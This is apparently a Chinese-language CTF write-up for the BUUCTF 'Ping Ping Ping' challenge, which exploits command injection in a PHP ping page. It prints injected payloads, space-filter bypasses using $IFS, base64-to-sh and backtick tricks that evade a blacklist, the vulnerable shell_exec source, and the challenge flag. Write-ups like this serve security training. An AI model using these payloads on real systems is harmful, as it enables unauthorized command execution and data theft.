BUUCTF WEB [GXYCTF2019]Ping Ping Ping

BUUCTF WEB [GXYCTF2019]Ping Ping Ping


进入题目后根据提示提交?ip=127.0.0.1尝试

回显PING 127.0.0.1 (127.0.0.1): 56 data bytes

判断存在命令执行漏洞,尝试提交?ip=127.0.0.1;ls

回显

PING 127.0.0.1 (127.0.0.1): 56 data bytes
flag.php
index.php

尝试访问index.php?ip=127.0.0.1;cat index.php

回显fxck your space!,说明空格存在过滤,尝试使用$IFS进行绕过

空格绕过的技巧

  1. Linux

    {cat,flag.txt} 
    cat${IFS}flag.txt
    cat$IFS$9flag.txt
    catflag.txt
    kg=$'\x20flag.txt'&&cat$kg
    (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
    
  2. Windows

    type.\flag.txt
    type,flag.txt
    echo,123456
    

这里发现{<%等符号就被禁用,只有$IFS$9可以使用

若单独使用$IFS会被理解为解析没有结束,将后面的字符也当做参数解析。若配合$IFS$9使用,在$IFS后加上了一个不存在的变量,解析为空,从而结束解析,正常执行$IFS后面的内容

index.php

执行命令?ip=127.0.0.1;cat$IFS$9index.php


if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

绕过过滤读取flag.php

  1. 变量拼接字符串绕过

    b=ag.php;a=fl;cat$IFS$9$a$b 
     
    //为什么要反过来?flag匹配时中间有内容也会被匹配。
    //表达式 .* 就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串。如果用它来搜索aabab的话,它会匹配整个字符串aabab。这被称为贪婪匹配
    
  2. sh命令执行绕过

    base64编码绕过flag过滤

    • 加密命令

      echo “cat flag.php” | base64
      
    • 解密命令并执行

      ?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
      
  3. 内联执行绕过

    ?ip=127.0.0.1;cat$IFS$9`ls`
    

得到flag

flag{db07f60d-63b3-4ab7-a14e-fe94a6cab83e}

你可能感兴趣的:(BUUCTF,web安全)